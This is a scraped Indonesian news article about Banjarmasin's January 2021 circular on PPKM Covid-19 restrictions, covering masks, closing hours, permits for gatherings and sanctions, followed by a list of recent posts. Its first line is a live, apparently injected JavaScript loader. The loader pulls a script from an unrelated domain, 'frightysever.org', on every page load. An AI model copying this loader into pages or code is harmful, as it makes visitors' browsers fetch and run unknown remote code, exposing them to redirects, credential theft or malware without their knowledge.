(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Kota Banjarmasin ‘Injak Rem’ Terapkan PPKM, Ini 7 Poin Pentingnya


KANALKALIMANTAN.COM,BANJARMASIN – Pemerintah Kota Banjarmasin mengeluarkan surat edaran menyusul Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 1 tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) untuk pengendalian penyebaran Covid-19.

Surat Edaran bernomor Nomor : 442.11/01-P2P/Diskes resmi dikeluarkan pada 11 Januari 2021, secara umum ditujukan kepada seluruh warga jota Banjarmasin, khususnya kepada para pelaku usaha, pengelola THM, cafe, restoran, rumah makan dan Wedding Organizer (WO).

Kemudian, dalam surat edaran itu juga tercantum 7 poin penting yang harus dipatuhi oleh warga Kota Banjarmasin selama 14 hari kedepan.

Poin penting dalam upaya pengendalian penyebaran Covid-19 di Banjarmasin tersebut adalah sebagai berikut:

1.Kepada semua masyarakat Kota Banjarmasin wajib menggunakan masker kain 3 lapis atau masker medis dan mendukung semua program Pemerintah dalam upaya pengendalian Covid-19 di Banjarmasin.

2.Agar semua Satgas tingkat kelurahan untuk mengoptimalkan kembali upaya Pembatasan Kegiatan di Masyarakat yang berpotensi menyebarkan Covid-19 melalui edukasi secara langsung terhadap penerapan Protokol Kesehatan (memakai masker dengan benar, membangun budaya cuci tangan dan menghindari kerumunan) secara terus menerus.

3.Semua Tempat Hiburan Malam, Cafe dan Restoran/rumah makan untuk membatasi buka hanya sampai pukul 22.00 Wita.

4.Semua kegiatan mengumpulkan orang banyak wajib memiliki izin Satgas Covid-19 sebagai langkah pengendalian.

5.Setiap acara perkawinan yang dilaksanakan di tengah masyarakat (bukan di gedung) wajib melibatkan Satgas Kelurahan sebagai pengawas Pelaksana Protokol Kesehatan sampai acara selesai.

6.Semua ketentuan ini berlaku sejak tanggal 11 sampai dengan tanggal 25 Januari 2021.

7.Tidak mematuhi Surat Edaran ini, adalah pelanggaran terhadap upaya Kekarantinaan Kesehatan dan Perwali Nomor 68 tahun 2020, akan dikenakan sanksi sesuai ketentuan yang berlaku.

 

Meskipun PPKM mulai diberlakukan di kota Seribu Sungai, namun Wali Kota Banjarmasin Ibnu Sina menggarisbawahi bahwa pelaksanaannya tidaklah seketat Pembatasan Sosial Berskala Besar (PSBB).

“Memang pembatasan aktivitas hingga pukul 22.00 Wita, tapi tidak seketat PSBB. Pemberlakuannya mungkin seperti libur Natal dan Tahun Baru kemarin. Dan kita akan kembali menghidupkan Satgas Covid-19 di tingkat kelurahan,” tutur Ibnu Sina.
“Dan sudah berlaku mulai hari ini sampai 25 Januari 2021, kita mengikuti arahan dari pemerintah pusat,” tutupnya. (kanalkalimantan.com/putra)

Reporter : Putra
Editor : Bie

Al Ghifari

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

7 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

10 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

11 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

14 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

16 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

16 jam ago

This website uses cookies.